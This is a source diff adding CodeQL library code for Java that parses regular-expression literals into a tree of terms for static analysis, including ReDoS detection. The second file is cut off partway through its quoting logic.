+  /** A string literal used as a regular expression */
+  TRegExpLiteral(Regex re) or
+  /** A quantified term */
+  TRegExpQuantifier(Regex re, int start, int end) { re.quantifiedItem(start, end, _, _) } or
+  /** A sequence term */
+  TRegExpSequence(Regex re, int start, int end) {
+    re.sequence(start, end) and
+    // Only create sequence nodes for sequences with two or more children.
+    exists(int mid |
+      re.item(start, mid) and
+      re.item(mid, _)
+    )
+  } or
+  /** An alternation term */
+  TRegExpAlt(Regex re, int start, int end) {
+    re.alternation(start, end) and
+    exists(int part_end |
+      re.alternationOption(start, end, start, part_end) and
+      part_end < end
+    ) // if an alternation does not have more than one element, it should be treated as that element instead.
+  } or
+  /** A character class term */
+  TRegExpCharacterClass(Regex re, int start, int end) { re.charSet(start, end) } or
+  /** A character range term */
+  TRegExpCharacterRange(Regex re, int start, int end) { re.charRange(_, start, _, _, end) } or
+  /** A group term */
+  TRegExpGroup(Regex re, int start, int end) { re.group(start, end) } or
+  /** A special character */
+  TRegExpSpecialChar(Regex re, int start, int end) { re.specialCharacter(start, end, _) } or
+  /** A normal character */
+  TRegExpNormalChar(Regex re, int start, int end) { re.normalCharacter(start, end) } or
+  /** A quoted sequence */
+  TRegExpQuote(Regex re, int start, int end) { re.quote(start, end) } or
+  /** A back reference */
+  TRegExpBackRef(Regex re, int start, int end) { re.backreference(start, end) }
+
+/**
+ * An element containing a regular expression term, that is, either
+ * a string literal (parsed as a regular expression; the root of the parse tree)
+ * or another regular expression term (a decendent of the root).
+ */
+class RegExpParent extends TRegExpParent {
+  /** Gets a textual representation of this element. */
+  string toString() { result = "RegExpParent" }
+
+  /** Gets the `i`th child term. */
+  RegExpTerm getChild(int i) { none() }
+
+  /** Gets a child term . */
+  RegExpTerm getAChild() { result = this.getChild(_) }
+
+  /** Gets the number of child terms. */
+  int getNumChild() { result = count(this.getAChild()) }
+
+  /** Gets the associated regex. */
+  abstract Regex getRegex();
+}
+
+/**
+ * A string literal used as a regular expression.
+ *
+ * As an optimisation, only regexes containing an infinite repitition quatifier (`+`, `*`, or `{x,}`)
+ * and therefore may be relevant for ReDoS queries are considered.
+ */
+class RegExpLiteral extends TRegExpLiteral, RegExpParent {
+  Regex re;
+
+  RegExpLiteral() { this = TRegExpLiteral(re) }
+
+  override string toString() { result = re.toString() }
+
+  override RegExpTerm getChild(int i) { i = 0 and result.getRegex() = re and result.isRootTerm() }
+
+  /** Holds if dot, `.`, matches all characters, including newlines. */
+  predicate isDotAll() { re.getAMode() = "DOTALL" }
+
+  /** Holds if this regex matching is case-insensitive for this regex. */
+  predicate isIgnoreCase() { re.getAMode() = "IGNORECASE" }
+
+  /** Get a string representing all modes for this regex. */
+  string getFlags() { result = concat(string mode | mode = re.getAMode() | mode, " | ") }
+
+  override Regex getRegex() { result = re }
+
+  /** Gets the primary QL class for this regex. */
+  string getPrimaryQLClass() { result = "RegExpLiteral" }
+}
+
+/**
+ * A regular expression term, that is, a syntactic part of a regular expression.
+ * These are the tree nodes that form the parse tree of a regular expression literal.
+ */
+class RegExpTerm extends RegExpParent {
+  Regex re;
+  int start;
+  int end;
+
+  RegExpTerm() {
+    this = TRegExpAlt(re, start, end)
+    or
+    this = TRegExpBackRef(re, start, end)
+    or
+    this = TRegExpCharacterClass(re, start, end)
+    or
+    this = TRegExpCharacterRange(re, start, end)
+    or
+    this = TRegExpNormalChar(re, start, end)
+    or
+    this = TRegExpQuote(re, start, end)
+    or
+    this = TRegExpGroup(re, start, end)
+    or
+    this = TRegExpQuantifier(re, start, end)
+    or
+    this = TRegExpSequence(re, start, end)
+    or
+    this = TRegExpSpecialChar(re, start, end)
+  }
+
+  /**
+   * Gets the outermost term of this regular expression.
+   */
+  RegExpTerm getRootTerm() {
+    this.isRootTerm() and result = this
+    or
+    result = this.getParent().(RegExpTerm).getRootTerm()
+  }
+
+  /**
+   * Holds if this term is part of a string literal
+   * that is interpreted as a regular expression.
+   */
+  predicate isUsedAsRegExp() { any() }
+
+  /**
+   * Holds if this is the root term of a regular expression.
+   */
+  predicate isRootTerm() { start = 0 and end = re.getText().length() }
+
+  /**
+   * Gets the parent term of this regular expression term, or the
+   * regular expression literal if this is the root term.
+   */
+  RegExpParent getParent() { result.getAChild() = this }
+
+  override Regex getRegex() { result = re }
+
+  /** Gets the offset at which this term starts. */
+  int getStart() { result = start }
+
+  /** Gets the offset at which this term ends. */
+  int getEnd() { result = end }
+
+  /** Holds if this term occurs in regex `inRe` offsets `startOffset` to `endOffset`. */
+  predicate occursInRegex(Regex inRe, int startOffset, int endOffset) {
+    inRe = re and startOffset = start and endOffset = end
+  }
+
+  override string toString() { result = re.getText().substring(start, end) }
+
+  /**
+   * Gets the location of the surrounding regex, as locations inside the regex do not exist.
+   * To get location information corresponding to the term inside the regex,
+   * use `hasLocationInfo`.
+   */
+  Location getLocation() { result = re.getLocation() }
+
+  /** Holds if this term is found at the specified location offsets. */
+  predicate hasLocationInfo(
+    string filepath, int startline, int startcolumn, int endline, int endcolumn
+  ) {
+    /*
+     * This is an approximation that handles the simple and common case of single,
+     * normal string literal written in the source, but does not give correct results in more complex cases
+     * such as compile-time concatenation, or multi-line string literals.
+     */
+
+    exists(int re_start, int re_end, int src_start, int src_end |
+      re.getLocation().hasLocationInfo(filepath, startline, re_start, endline, re_end) and
+      re.sourceCharacter(start, src_start, _) and
+      re.sourceCharacter(end - 1, _, src_end) and
+      startcolumn = re_start + src_start and
+      endcolumn = re_start + src_end - 1
+    )
+  }
+
+  /** Gets the file in which this term is found. */
+  File getFile() { result = this.getLocation().getFile() }
+
+  /** Gets the raw source text of this term. */
+  string getRawValue() { result = this.toString() }
+
+  /** Gets the string literal in which this term is found. */
+  RegExpLiteral getLiteral() { result = TRegExpLiteral(re) }
+
+  /** Gets the regular expression term that is matched (textually) before this one, if any. */
+  RegExpTerm getPredecessor() {
+    exists(RegExpTerm parent | parent = this.getParent() |
+      result = parent.(RegExpSequence).previousElement(this)
+      or
+      not exists(parent.(RegExpSequence).previousElement(this)) and
+      not parent instanceof RegExpSubPattern and
+      result = parent.getPredecessor()
+    )
+  }
+
+  /** Gets the regular expression term that is matched (textually) after this one, if any. */
+  RegExpTerm getSuccessor() {
+    exists(RegExpTerm parent | parent = this.getParent() |
+      result = parent.(RegExpSequence).nextElement(this)
+      or
+      not exists(parent.(RegExpSequence).nextElement(this)) and
+      not parent instanceof RegExpSubPattern and
+      result = parent.getSuccessor()
+    )
+  }
+
+  /** Gets the primary QL class for this term. */
+  string getPrimaryQLClass() { result = "RegExpTerm" }
+}
+
+/**
+ * A quantified regular expression term.
+ *
+ * Example:
+ *
+ * ```
+ * ((ECMA|Java)[sS]cript)*
+ * ```
+ */
+class RegExpQuantifier extends RegExpTerm, TRegExpQuantifier {
+  int part_end;
+  boolean maybe_empty;
+  boolean may_repeat_forever;
+
+  RegExpQuantifier() {
+    this = TRegExpQuantifier(re, start, end) and
+    re.quantifiedPart(start, part_end, end, maybe_empty, may_repeat_forever)
+  }
+
+  override RegExpTerm getChild(int i) {
+    i = 0 and
+    result.occursInRegex(re, start, part_end)
+  }
+
+  /** Holds if this term may match zero times. */
+  predicate mayBeEmpty() { maybe_empty = true }
+
+  /** Holds if this term may match an unlimited number of times. */
+  predicate mayRepeatForever() { may_repeat_forever = true }
+
+  /** Gets the quantifier for this term. That is e.g "?" for "a?". */
+  string getQuantifier() { result = re.getText().substring(part_end, end) }
+
+  /** Holds if this is a possessive quantifier, e.g. a*+. */
+  predicate isPossessive() {
+    exists(string q | q = this.getQuantifier() | q.length() > 1 and q.charAt(q.length() - 1) = "+")
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpQuantifier" }
+}
+
+/**
+ * A regular expression term that permits unlimited repetitions.
+ */
+class InfiniteRepetitionQuantifier extends RegExpQuantifier {
+  InfiniteRepetitionQuantifier() { this.mayRepeatForever() }
+}
+
+/**
+ * A star-quantified term.
+ *
+ * Example:
+ *
+ * ```
+ * \w*
+ * ```
+ */
+class RegExpStar extends InfiniteRepetitionQuantifier {
+  RegExpStar() { this.getQuantifier().charAt(0) = "*" }
+
+  override string getPrimaryQLClass() { result = "RegExpStar" }
+}
+
+/**
+ * A plus-quantified term.
+ *
+ * Example:
+ *
+ * ```
+ * \w+
+ * ```
+ */
+class RegExpPlus extends InfiniteRepetitionQuantifier {
+  RegExpPlus() { this.getQuantifier().charAt(0) = "+" }
+
+  override string getPrimaryQLClass() { result = "RegExpPlus" }
+}
+
+/**
+ * An optional term.
+ *
+ * Example:
+ *
+ * ```
+ * ;?
+ * ```
+ */
+class RegExpOpt extends RegExpQuantifier {
+  RegExpOpt() { this.getQuantifier().charAt(0) = "?" }
+
+  override string getPrimaryQLClass() { result = "RegExpOpt" }
+}
+
+/**
+ * A range-quantified term
+ *
+ * Examples:
+ *
+ * ```
+ * \w{2,4}
+ * \w{2,}
+ * \w{2}
+ * ```
+ */
+class RegExpRange extends RegExpQuantifier {
+  string upper;
+  string lower;
+
+  RegExpRange() { re.multiples(part_end, end, lower, upper) }
+
+  /** Gets the string defining the upper bound of this range, which is empty when no such bound exists. */
+  string getUpper() { result = upper }
+
+  /** Gets the string defining the lower bound of this range, which is empty when no such bound exists. */
+  string getLower() { result = lower }
+
+  /**
+   * Gets the upper bound of the range, if any.
+   *
+   * If there is no upper bound, any number of repetitions is allowed.
+   * For a term of the form `r{lo}`, both the lower and the upper bound
+   * are `lo`.
+   */
+  int getUpperBound() { result = this.getUpper().toInt() }
+
+  /** Gets the lower bound of the range. */
+  int getLowerBound() { result = this.getLower().toInt() }
+
+  override string getPrimaryQLClass() { result = "RegExpRange" }
+}
+
+/**
+ * A sequence term.
+ *
+ * Example:
+ *
+ * ```
+ * (ECMA|Java)Script
+ * ```
+ *
+ * This is a sequence with the elements `(ECMA|Java)` and `Script`.
+ */
+class RegExpSequence extends RegExpTerm, TRegExpSequence {
+  RegExpSequence() { this = TRegExpSequence(re, start, end) }
+
+  override RegExpTerm getChild(int i) { result = seqChild(re, start, end, i) }
+
+  /** Gets the element preceding `element` in this sequence. */
+  RegExpTerm previousElement(RegExpTerm element) { element = this.nextElement(result) }
+
+  /** Gets the element following `element` in this sequence. */
+  RegExpTerm nextElement(RegExpTerm element) {
+    exists(int i |
+      element = this.getChild(i) and
+      result = this.getChild(i + 1)
+    )
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpSequence" }
+}
+
+pragma[nomagic]
+private int seqChildEnd(Regex re, int start, int end, int i) {
+  result = seqChild(re, start, end, i).getEnd()
+}
+
+// moved out so we can use it in the charpred
+private RegExpTerm seqChild(Regex re, int start, int end, int i) {
+  re.sequence(start, end) and
+  (
+    i = 0 and
+    exists(int itemEnd |
+      re.item(start, itemEnd) and
+      result.occursInRegex(re, start, itemEnd)
+    )
+    or
+    i > 0 and
+    exists(int itemStart, int itemEnd | itemStart = seqChildEnd(re, start, end, i - 1) |
+      re.item(itemStart, itemEnd) and
+      result.occursInRegex(re, itemStart, itemEnd)
+    )
+  )
+}
+
+/**
+ * An alternative term, that is, a term of the form `a|b`.
+ *
+ * Example:
+ *
+ * ```
+ * ECMA|Java
+ * ```
+ */
+class RegExpAlt extends RegExpTerm, TRegExpAlt {
+  RegExpAlt() { this = TRegExpAlt(re, start, end) }
+
+  override RegExpTerm getChild(int i) {
+    i = 0 and
+    exists(int part_end |
+      re.alternationOption(start, end, start, part_end) and
+      result.occursInRegex(re, start, part_end)
+    )
+    or
+    i > 0 and
+    exists(int part_start, int part_end |
+      part_start = this.getChild(i - 1).getEnd() + 1 // allow for the |
+    |
+      re.alternationOption(start, end, part_start, part_end) and
+      result.occursInRegex(re, part_start, part_end)
+    )
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpAlt" }
+}
+
+/**
+ * An escaped regular expression term, that is, a regular expression
+ * term starting with a backslash, which is not a backreference.
+ *
+ * Example:
+ *
+ * ```
+ * \.
+ * \w
+ * ```
+ */
+class RegExpEscape extends RegExpNormalChar {
+  RegExpEscape() { re.escapedCharacter(start, end) }
+
+  /**
+   * Gets the name of the escaped; for example, `w` for `\w`.
+   * TODO: Handle named escapes.
+   */
+  override string getValue() {
+    this.isIdentityEscape() and result = this.getUnescaped()
+    or
+    this.getUnescaped() = "n" and result = "\n"
+    or
+    this.getUnescaped() = "r" and result = "\r"
+    or
+    this.getUnescaped() = "t" and result = "\t"
+    or
+    this.getUnescaped() = "f" and result = 12.toUnicode() // form feed
+    or
+    this.getUnescaped() = "a" and result = 7.toUnicode() // alert/bell
+    or
+    this.getUnescaped() = "e" and result = 27.toUnicode() // escape (0x1B)
+    or
+    this.isUnicode() and
+    result = this.getUnicode()
+  }
+
+  /** Holds if this terms name is given by the part following the escape character. */
+  predicate isIdentityEscape() { not this.getUnescaped() in ["n", "r", "t", "f", "a", "e"] }
+
+  override string getPrimaryQLClass() { result = "RegExpEscape" }
+
+  /** Gets the part of the term following the escape character. That is e.g. "w" if the term is "\w". */
+  private string getUnescaped() { result = this.getText().suffix(1) }
+
+  /**
+   * Gets the text for this escape. That is e.g. "\w".
+   */
+  private string getText() { result = re.getText().substring(start, end) }
+
+  /**
+   * Holds if this is a unicode escape.
+   */
+  private predicate isUnicode() { this.getText().matches(["\\u%", "\\x%"]) }
+
+  /**
+   * Gets the unicode char for this escape.
+   * E.g. for `\u0061` this returns "a".
+   */
+  private string getUnicode() {
+    exists(int codepoint | codepoint = sum(this.getHexValueFromUnicode(_)) |
+      result = codepoint.toUnicode()
+    )
+  }
+
+  /** Gets the part of this escape that is a hexidecimal string */
+  private string getHexString() {
+    this.isUnicode() and
+    if this.getText().matches("\\u%") // \uhhhh
+    then result = this.getText().suffix(2)
+    else
+      if this.getText().matches("\\x{%") // \x{h..h}
+      then result = this.getText().substring(3, this.getText().length() - 1)
+      else result = this.getText().suffix(2) // \xhh
+  }
+
+  /**
+   * Gets int value for the `index`th char in the hex number of the unicode escape.
+   * E.g. for `\u0061` and `index = 2` this returns 96 (the number `6` interpreted as hex).
+   */
+  private int getHexValueFromUnicode(int index) {
+    this.isUnicode() and
+    exists(string hex, string char | hex = this.getHexString() |
+      char = hex.charAt(index) and
+      result = 16.pow(hex.length() - index - 1) * toHex(char)
+    )
+  }
+}
+
+/**
+ * Gets the hex number for the `hex` char.
+ */
+private int toHex(string hex) {
+  result = [0 .. 9] and hex = result.toString()
+  or
+  result = 10 and hex = ["a", "A"]
+  or
+  result = 11 and hex = ["b", "B"]
+  or
+  result = 12 and hex = ["c", "C"]
+  or
+  result = 13 and hex = ["d", "D"]
+  or
+  result = 14 and hex = ["e", "E"]
+  or
+  result = 15 and hex = ["f", "F"]
+}
+
+/**
+ * A character class escape in a regular expression.
+ * That is, an escaped character that denotes multiple characters.
+ *
+ * Examples:
+ *
+ * ```
+ * \w
+ * \S
+ * ```
+ */
+class RegExpCharacterClassEscape extends RegExpEscape {
+  RegExpCharacterClassEscape() {
+    this.getValue() in ["d", "D", "s", "S", "w", "W", "h", "H", "v", "V"] or
+    this.getValue().charAt(0) in ["p", "P"]
+  }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpCharacterClassEscape" }
+}
+
+/**
+ * A named character class in a regular expression.
+ *
+ * Examples:
+ *
+ * ```
+ * \p{Digit}
+ * \p{IsLowerCase}
+ */
+class RegExpNamedProperty extends RegExpCharacterClassEscape {
+  boolean inverted;
+  string name;
+
+  RegExpNamedProperty() {
+    name = this.getValue().substring(2, this.getValue().length() - 1) and
+    (
+      inverted = false and
+      this.getValue().charAt(0) = "p"
+      or
+      inverted = true and
+      this.getValue().charAt(0) = "P"
+    )
+  }
+
+  /** Holds if this class is inverted. */
+  predicate isInverted() { inverted = true }
+
+  /** Gets the name of this class. */
+  string getClassName() { result = name }
+
+  /**
+   * Gets an equivalent single-chcracter escape sequence for this class (e.g. \d) if possible, excluding the escape character.
+   */
+  string getBackslashEquivalent() {
+    exists(string eq | if inverted = true then result = eq.toUpperCase() else result = eq |
+      name = ["Digit", "IsDigit"] and
+      eq = "d"
+      or
+      name = ["Space", "IsWhite_Space"] and
+      eq = "s"
+    )
+  }
+}
+
+/**
+ * A character class in a regular expression.
+ *
+ * Examples:
+ *
+ * ```
+ * [a-z_]
+ * [^<>&]
+ * ```
+ */
+class RegExpCharacterClass extends RegExpTerm, TRegExpCharacterClass {
+  RegExpCharacterClass() { this = TRegExpCharacterClass(re, start, end) }
+
+  /** Holds if this character class is inverted, matching the opposite of its content. */
+  predicate isInverted() { re.getChar(start + 1) = "^" }
+
+  /** Holds if this character class can match anything. */
+  predicate isUniversalClass() {
+    // [^]
+    this.isInverted() and not exists(this.getAChild())
+    or
+    // [\w\W] and similar
+    not this.isInverted() and
+    exists(string cce1, string cce2 |
+      cce1 = this.getAChild().(RegExpCharacterClassEscape).getValue() and
+      cce2 = this.getAChild().(RegExpCharacterClassEscape).getValue()
+    |
+      cce1 != cce2 and cce1.toLowerCase() = cce2.toLowerCase()
+    )
+  }
+
+  override RegExpTerm getChild(int i) {
+    i = 0 and
+    exists(int itemStart, int itemEnd |
+      re.charSetStart(start, itemStart) and
+      re.charSetChild(start, itemStart, itemEnd) and
+      result.occursInRegex(re, itemStart, itemEnd)
+    )
+    or
+    i > 0 and
+    exists(int itemStart, int itemEnd | itemStart = this.getChild(i - 1).getEnd() |
+      result.occursInRegex(re, itemStart, itemEnd) and
+      re.charSetChild(start, itemStart, itemEnd)
+    )
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpCharacterClass" }
+}
+
+/**
+ * A character range in a character class in a regular expression.
+ *
+ * Example:
+ *
+ * ```
+ * a-z
+ * ```
+ */
+class RegExpCharacterRange extends RegExpTerm, TRegExpCharacterRange {
+  int lower_end;
+  int upper_start;
+
+  RegExpCharacterRange() {
+    this = TRegExpCharacterRange(re, start, end) and
+    re.charRange(_, start, lower_end, upper_start, end)
+  }
+
+  /** Holds if this range goes from `lo` to `hi`, in effect is `lo-hi`. */
+  predicate isRange(string lo, string hi) {
+    lo = re.getText().substring(start, lower_end) and
+    hi = re.getText().substring(upper_start, end)
+  }
+
+  override RegExpTerm getChild(int i) {
+    i = 0 and
+    result.occursInRegex(re, start, lower_end)
+    or
+    i = 1 and
+    result.occursInRegex(re, upper_start, end)
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpCharacterRange" }
+}
+
+/**
+ * A normal character in a regular expression, that is, a character
+ * without special meaning. This includes escaped characters.
+ * It also includes escape sequences that represent character classes.
+ *
+ * Examples:
+ * ```
+ * t
+ * \t
+ * ```
+ */
+class RegExpNormalChar extends RegExpTerm, TRegExpNormalChar {
+  RegExpNormalChar() { this = TRegExpNormalChar(re, start, end) }
+
+  /**
+   * Holds if this constant represents a valid Unicode character (as opposed
+   * to a surrogate code point that does not correspond to a character by itself.)
+   */
+  predicate isCharacter() { any() }
+
+  /** Gets the string representation of the char matched by this term. */
+  string getValue() { result = re.getText().substring(start, end) }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpNormalChar" }
+}
+
+/**
+ * A quoted sequence.
+ *
+ * Example:
+ * ```
+ * \Qabc\E
+ * ```
+ */
+class RegExpQuote extends RegExpTerm, TRegExpQuote {
+  string value;
+
+  RegExpQuote() {
+    exists(int inner_start, int inner_end |
+      this = TRegExpQuote(re, start, end) and
+      re.quote(start, end, inner_start, inner_end) and
+      value = re.getText().substring(inner_start, inner_end)
+    )
+  }
+
+  /** Gets the string matched by this quote term. */
+  string getValue() { result = value }
+
+  override string getPrimaryQLClass() { result = "RegExpQuote" }
+}
+
+/**
+ * A constant regular expression term, that is, a regular expression
+ * term matching a single string. This can be a single character or a quoted sequence.
+ *
+ * Example:
+ *
+ * ```
+ * a
+ * ```
+ */
+class RegExpConstant extends RegExpTerm {
+  string value;
+
+  RegExpConstant() {
+    (value = this.(RegExpNormalChar).getValue() or value = this.(RegExpQuote).getValue()) and
+    not this instanceof RegExpCharacterClassEscape
+  }
+
+  /**
+   * Holds if this constant represents a valid Unicode character (as opposed
+   * to a surrogate code point that does not correspond to a character by itself.)
+   */
+  predicate isCharacter() { any() }
+
+  /** Gets the string matched by this constant term. */
+  string getValue() { result = value }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpConstant" }
+}
+
+/**
+ * A grouped regular expression.
+ *
+ * Examples:
+ *
+ * ```
+ * (ECMA|Java)
+ * (?:ECMA|Java)
+ * (?<quote>['"])
+ * ```
+ */
+class RegExpGroup extends RegExpTerm, TRegExpGroup {
+  RegExpGroup() { this = TRegExpGroup(re, start, end) }
+
+  /**
+   * Gets the index of this capture group within the enclosing regular
+   * expression literal.
+   *
+   * For example, in the regular expression `/((a?).)(?:b)/`, the
+   * group `((a?).)` has index 1, the group `(a?)` nested inside it
+   * has index 2, and the group `(?:b)` has no index, since it is
+   * not a capture group.
+   */
+  int getNumber() { result = re.getGroupNumber(start, end) }
+
+  /** Holds if this is a named capture group. */
+  predicate isNamed() { exists(this.getName()) }
+
+  /** Gets the name of this capture group, if any. */
+  string getName() { result = re.getGroupName(start, end) }
+
+  override RegExpTerm getChild(int i) {
+    i = 0 and
+    exists(int in_start, int in_end | re.groupContents(start, end, in_start, in_end) |
+      result.occursInRegex(re, in_start, in_end)
+    )
+  }
+
+  override string getPrimaryQLClass() { result = "RegExpGroup" }
+
+  /** Holds if this is the `n`th numbered group of literal `lit`. */
+  predicate isNumberedGroupOfLiteral(RegExpLiteral lit, int n) {
+    lit = this.getLiteral() and n = this.getNumber()
+  }
+
+  /** Holds if this is a group with name `name` of literal `lit`. */
+  predicate isNamedGroupOfLiteral(RegExpLiteral lit, string name) {
+    lit = this.getLiteral() and name = this.getName()
+  }
+}
+
+/**
+ * A special character in a regular expression.
+ *
+ * Examples:
+ * ```
+ * ^
+ * $
+ * .
+ * ```
+ */
+class RegExpSpecialChar extends RegExpTerm, TRegExpSpecialChar {
+  string char;
+
+  RegExpSpecialChar() {
+    this = TRegExpSpecialChar(re, start, end) and
+    re.specialCharacter(start, end, char)
+  }
+
+  /**
+   * Holds if this constant represents a valid Unicode character (as opposed
+   * to a surrogate code point that does not correspond to a character by itself.)
+   */
+  predicate isCharacter() { any() }
+
+  /** Gets the char for this term. */
+  string getChar() { result = char }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpSpecialChar" }
+}
+
+/**
+ * A dot regular expression.
+ *
+ * Example:
+ *
+ * ```
+ * .
+ * ```
+ */
+class RegExpDot extends RegExpSpecialChar {
+  RegExpDot() { this.getChar() = "." }
+
+  override string getPrimaryQLClass() { result = "RegExpDot" }
+}
+
+/**
+ * A dollar assertion `$` matching the end of a line.
+ *
+ * Example:
+ *
+ * ```
+ * $
+ * ```
+ */
+class RegExpDollar extends RegExpSpecialChar {
+  RegExpDollar() { this.getChar() = "$" }
+
+  override string getPrimaryQLClass() { result = "RegExpDollar" }
+}
+
+/**
+ * A caret assertion `^` matching the beginning of a line.
+ *
+ * Example:
+ *
+ * ```
+ * ^
+ * ```
+ */
+class RegExpCaret extends RegExpSpecialChar {
+  RegExpCaret() { this.getChar() = "^" }
+
+  override string getPrimaryQLClass() { result = "RegExpCaret" }
+}
+
+/**
+ * A zero-width match, that is, either an empty group or an assertion.
+ *
+ * Examples:
+ * ```
+ * ()
+ * (?=\w)
+ * ```
+ */
+class RegExpZeroWidthMatch extends RegExpGroup {
+  RegExpZeroWidthMatch() { re.zeroWidthMatch(start, end) }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpZeroWidthMatch" }
+}
+
+/**
+ * A zero-width lookahead or lookbehind assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?=\w)
+ * (?!\n)
+ * (?<=\.)
+ * (?<!\\)
+ * ```
+ */
+class RegExpSubPattern extends RegExpZeroWidthMatch {
+  RegExpSubPattern() { not re.emptyGroup(start, end) }
+
+  /** Gets the lookahead term. */
+  RegExpTerm getOperand() {
+    exists(int in_start, int in_end | re.groupContents(start, end, in_start, in_end) |
+      result.occursInRegex(re, in_start, in_end)
+    )
+  }
+}
+
+/**
+ * A zero-width lookahead assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?=\w)
+ * (?!\n)
+ * ```
+ */
+abstract class RegExpLookahead extends RegExpSubPattern { }
+
+/**
+ * A positive-lookahead assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?=\w)
+ * ```
+ */
+class RegExpPositiveLookahead extends RegExpLookahead {
+  RegExpPositiveLookahead() { re.positiveLookaheadAssertionGroup(start, end) }
+
+  override string getPrimaryQLClass() { result = "RegExpPositiveLookahead" }
+}
+
+/**
+ * A negative-lookahead assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?!\n)
+ * ```
+ */
+class RegExpNegativeLookahead extends RegExpLookahead {
+  RegExpNegativeLookahead() { re.negativeLookaheadAssertionGroup(start, end) }
+
+  override string getPrimaryQLClass() { result = "RegExpNegativeLookahead" }
+}
+
+/**
+ * A zero-width lookbehind assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?<=\.)
+ * (?<!\\)
+ * ```
+ */
+abstract class RegExpLookbehind extends RegExpSubPattern { }
+
+/**
+ * A positive-lookbehind assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?<=\.)
+ * ```
+ */
+class RegExpPositiveLookbehind extends RegExpLookbehind {
+  RegExpPositiveLookbehind() { re.positiveLookbehindAssertionGroup(start, end) }
+
+  override string getPrimaryQLClass() { result = "RegExpPositiveLookbehind" }
+}
+
+/**
+ * A negative-lookbehind assertion.
+ *
+ * Examples:
+ *
+ * ```
+ * (?<!\\)
+ * ```
+ */
+class RegExpNegativeLookbehind extends RegExpLookbehind {
+  RegExpNegativeLookbehind() { re.negativeLookbehindAssertionGroup(start, end) }
+
+  override string getPrimaryQLClass() { result = "RegExpNegativeLookbehind" }
+}
+
+/**
+ * A back reference, that is, a term of the form `\i` or `\k<name>`
+ * in a regular expression.
+ *
+ * Examples:
+ *
+ * ```
+ * \1
+ * (?P=quote)
+ * ```
+ */
+class RegExpBackRef extends RegExpTerm, TRegExpBackRef {
+  RegExpBackRef() { this = TRegExpBackRef(re, start, end) }
+
+  /**
+   * Gets the number of the capture group this back reference refers to, if any.
+   */
+  int getNumber() { result = re.getBackrefNumber(start, end) }
+
+  /**
+   * Gets the name of the capture group this back reference refers to, if any.
+   */
+  string getName() { result = re.getBackrefName(start, end) }
+
+  /** Gets the capture group this back reference refers to. */
+  RegExpGroup getGroup() {
+    result.isNumberedGroupOfLiteral(this.getLiteral(), this.getNumber())
+    or
+    result.isNamedGroupOfLiteral(this.getLiteral(), this.getName())
+  }
+
+  override RegExpTerm getChild(int i) { none() }
+
+  override string getPrimaryQLClass() { result = "RegExpBackRef" }
+}
+
+/** Gets the parse tree resulting from parsing `re`, if such has been constructed. */
+RegExpTerm getParsedRegExp(StringLiteral re) { result.getRegex() = re and result.isRootTerm() }
diff --git a/java/ql/lib/semmle/code/java/regex/regex.qll b/java/ql/lib/semmle/code/java/regex/regex.qll
new file mode 100644
index 00000000000..ff20b17b6fa
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/regex/regex.qll
@@ -0,0 +1,917 @@
+/**
+ * Definitions for parsing regular expressions.
+ */
+
+import java
+private import RegexFlowConfigs
+
+// In all ranges handled by this library, `start` is inclusive and `end` is exclusive.
+/**
+ * A string literal that is used as a regular expression.
+ */
+abstract class RegexString extends StringLiteral {
+  /** Gets the text of this regex */
+  string getText() { result = this.(StringLiteral).getValue() }
+
+  /** Gets the `i`th character of this regex. */
+  string getChar(int i) { result = this.getText().charAt(i) }
+
+  /** Holds if the regex failed to parse. */
+  predicate failedToParse(int i) {
+    exists(this.getChar(i)) and
+    not exists(int start, int end |
+      this.topLevel(start, end) and
+      start <= i and
+      end > i
+    )
+  }
+
+  /**
+   * Helper predicate for `escapingChar`.
+   * In order to avoid negative recursion, we return a boolean.
+   * This way, we can refer to `escaping(pos - 1).booleanNot()`
+   * rather than to a negated version of `escaping(pos)`.
+   */
+  private boolean escaping(int pos) {
+    pos = -1 and result = false
+    or
+    this.getChar(pos) = "\\" and
+    (
+      if this.getChar(pos - 1) = "c" //  in `\c\`, the latter `\` isn't escaping
+      then result = this.escaping(pos - 2).booleanNot()
+      else result = this.escaping(pos - 1).booleanNot()
+    )
+    or
+    this.getChar(pos) != "\\" and result = false
+  }
+
+  /**
+   * Helper predicate for `quote`.
+   * Holds if the char at `pos` could be the beginning of a quote delimiter, i.e. `\Q` (non-escaped) or `\E` (escaping not checked, as quote sequences turn off escapes).
+   * Result is `true` for `\Q` and `false` for `\E`.
+   */
+  private boolean quoteDelimiter(int pos) {
+    result = true and
+    this.escaping(pos) = true and
+    this.getChar(pos + 1) = "Q"
+    or
+    result = false and
+    this.getChar(pos) = "\\" and
+    this.getChar(pos + 1) = "E"
+  }
+
+  /**
+   * Helper predicate for `quote`.
+   * Holds if the char at `pos` is the one-based `index`th occurence of a quote delimiter (`\Q` or `\E`)
+   * Result is `true` for `\Q` and `false` for `\E`.
+   */
+  private boolean quoteDelimiter(int index, int pos) {
+    result = this.quoteDelimiter(pos) and
+    pos = rank[index](int p | exists(this.quoteDelimiter(p)))
+  }
+
+  /** Holds if a quoted sequence is found between `start` and `end` */
+  predicate quote(int start, int end) { this.quote(start, end, _, _) }
+
+  /** Holds if a quoted sequence is found between `start` and `end`, with content found between `inner_start` and `inner_end`. */
+  predicate quote(int start, int end, int inner_start, int inner_end) {
+    exists(int index |
+      this.quoteDelimiter(index, start) = true and
+      (
+        index = 1
+        or
+        this.quoteDelimiter(index - 1, _) = false
+      ) and
+      inner_start = start + 2 and
+      inner_end = end - 2 and
